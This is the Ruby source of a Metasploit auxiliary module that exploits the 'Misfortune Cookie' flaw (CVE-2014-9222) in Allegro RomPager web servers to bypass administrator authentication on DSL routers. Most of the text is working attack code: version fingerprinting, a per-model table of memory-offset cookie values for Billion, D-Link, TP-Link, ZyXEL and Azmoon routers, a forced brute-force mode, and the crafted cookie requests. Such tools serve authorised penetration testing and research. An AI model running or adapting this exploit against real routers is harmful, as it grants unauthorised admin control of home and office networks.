Allegro Software RomPager Misfortune Cookie (CVE-2014-9222) Authentication Bypass

Allegro Software RomPager Misfortune Cookie (CVE-2014-9222) Authentication Bypass

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",        'Description' => %q{          This module exploits HTTP servers that appear to be vulnerable to the          'Misfortune Cookie' vulnerability which affects Allegro Software          Rompager versions before 4.34 and can allow attackers to authenticate          to the HTTP service as an administrator without providing valid          credentials.        },        'Author' => [          'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module          'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module          'Lior Oppenheim' # CVE-2014-9222        ],        'References' => [          ['CVE', '2014-9222'],          ['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],          ['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices          ['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC        ],        'DisclosureDate' => '2014-12-17',        'License' => MSF_LICENSE      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'URI to test', '/']),      ], Exploit::Remote::HttpClient    )    register_advanced_options(      [        Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]),      ], Exploit::Remote::HttpClient    )  end  def headers    {      'Referer' => full_uri    }  end  # List of known values and models  def devices_list    known_devices = {      :'AZ-D140W' =>          {            name: 'Azmoon', model: 'AZ-D140W', values: [              [107367693, 13]            ]          },      :'BiPAC 5102S' =>            {              name: 'Billion', model: 'BiPAC 5102S', values: [                [107369694, 13]              ]            },      :'BiPAC 5200' =>            {              name: 'Billion', model: 'BiPAC 5200', values: [                [107369545, 9],                [107371218, 21]              ]            },      :'BiPAC 5200A' =>            {              name: 'Billion', model: 'BiPAC 5200A', values: [                [107366366, 25],                [107371453, 9]              ]            },      :'BiPAC 5200GR4' =>            {              name: 'Billion', model: 'BiPAC 5200GR4', values: [                [107367690, 21]              ]            },      :'BiPAC 5200SRD' =>            {              name: 'Billion', model: 'BiPAC 5200SRD', values: [                [107368270, 1],                [107371378, 3],                [107371218, 13]              ]            },      :'DSL-2520U' =>            {              name: 'D-Link', model: 'DSL-2520U', values: [                [107368902, 25]              ]            },      :'DSL-2600U' =>            {              name: 'D-Link', model: 'DSL-2600U', values: [                [107366496, 13],                [107360133, 20]              ]            },      :'TD-8616' =>            {              name: 'TP-Link', model: 'TD-8616', values: [                [107371483, 21],                [107369790, 17],                [107371161, 1],                [107371426, 17],                [107370211, 5],              ]            },      :'TD-8817' =>            {              name: 'TP-Link', model: 'TD-8817', values: [                [107369790, 17],                [107369788, 1],                [107369522, 25],                [107369316, 21],                [107369321, 9],                [107351277, 20]              ]            },      :'TD-8820' =>            {              name: 'TP-Link', model: 'TD-8820', values: [                [107369768, 17]              ]            },      :'TD-8840T' =>            {              name: 'TP-Link', model: 'TD-8840T', values: [                [107369845, 5],                [107369790, 17],                [107369570, 1],                [107369766, 1],                [107369764, 5],                [107369688, 17]              ]            },      :'TD-W8101G' =>            {              name: 'TP-Link', model: 'TD-W8101G', values: [                [107367772, 37],                [107367808, 21],                [107367751, 21],                [107367749, 13],                [107367765, 25],                [107367052, 25],                [107365835, 1]              ]            },      :'TD-W8151N' =>            {              name: 'TP-Link', model: 'TD-W8151N', values: [                [107353867, 24]              ]            },      :'TD-W8901G' =>            {              name: 'TP-Link', model: 'TD-W8901G', values: [                [107367787, 21],                [107368013, 5],                [107367854, 9],                [107367751, 21],                [107367749, 13],                [107367765, 25],                [107367682, 21],                [107365835, 1],                [107367052, 25]              ]            },      :'TD-W8901GB' =>            {              name: 'TP-Link', model: 'TD-W8901GB', values: [                [107367756, 13],                [107369393, 21]              ]            },      :'TD-W8901N' =>            {              name: 'TP-Link', model: 'TD-W8901N', values: [                [107353880, 0]              ]            },      :'TD-W8951ND' =>            {              name: 'TP-Link', model: 'TD-W8951ND', values: [                [107369839, 25],                [107369876, 13],                [107366743, 21],                [107364759, 25],                [107364759, 13],                [107364760, 21]              ]            },      :'TD-W8961NB' =>            {              name: 'TP-Link', model: 'TD-W8961NB', values: [                [107369844, 17],                [107367629, 21],                [107366421, 13]              ]            },      :'TD-W8961ND' =>            {              name: 'TP-Link', model: 'TD-W8961ND', values: [                [107369839, 25],                [107369876, 13],                [107364732, 25],                [107364771, 37],                [107364762, 29],                [107353880, 0],                [107353414, 36]              ]            },      :'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s            {              name: 'ZyXEL', model: 'P-660R-T3', values: [                [107369567, 21]              ]            },      :'P-660RU-T3 v2' => # Couldn't verify this            {              name: 'ZyXEL', model: 'P-660R-T3', values: [                [107369567, 21]              ]            },      ALL => # Used when `ForceAttempt` === true            { name: 'Unknown', model: 'Forced', values: [] }    }    # collect all known cookies for a brute force option    all_cookies = []    known_devices.collect { |_, v| v[:values] }.each do |list|      all_cookies += list    end    known_devices[:ALL][:values] = all_cookies.uniq    known_devices  end  def check_response_fingerprint(res, fallback_status)    fp = http_fingerprint(response: res)    vprint_status("Fingerprint: #{fp}")    # ensure the fingerprint at least appears vulnerable    if %r{RomPager/(?<version>[\d.]+)} =~ fp      vprint_status("#{peer} is RomPager #{version}")      if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?<model>.+)"/ =~ fp        return model      end    end    fallback_status  end  def run    res = send_request_raw(      'uri' => normalize_uri(target_uri.path.to_s),      'method' => 'GET'    )    model = check_response_fingerprint(res, Exploit::CheckCode::Detected)    if model != Exploit::CheckCode::Detected      devices = devices_list[model.to_sym]      devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt']      if !devices.nil?        print_good("Detected device:#{devices[:name]} #{devices[:model]}")        devices[:values].each do |value|          cookie = "C#{value[0]}=#{'B' * value[1]}\x00"          res = send_request_raw(            'uri' => normalize_uri(target_uri.path.to_s),            'method' => 'GET',            'headers' => headers.merge('Cookie' => cookie)          )          if !res.nil? && (res.code <= 302)            print_good('Good response, please check host, authentication should be disabled')            break          else            print_error('Bad response')          end        end      else        print_error("No matching values for fingerprint #{model}")      end    else      print_error('Unknown device')    end  endend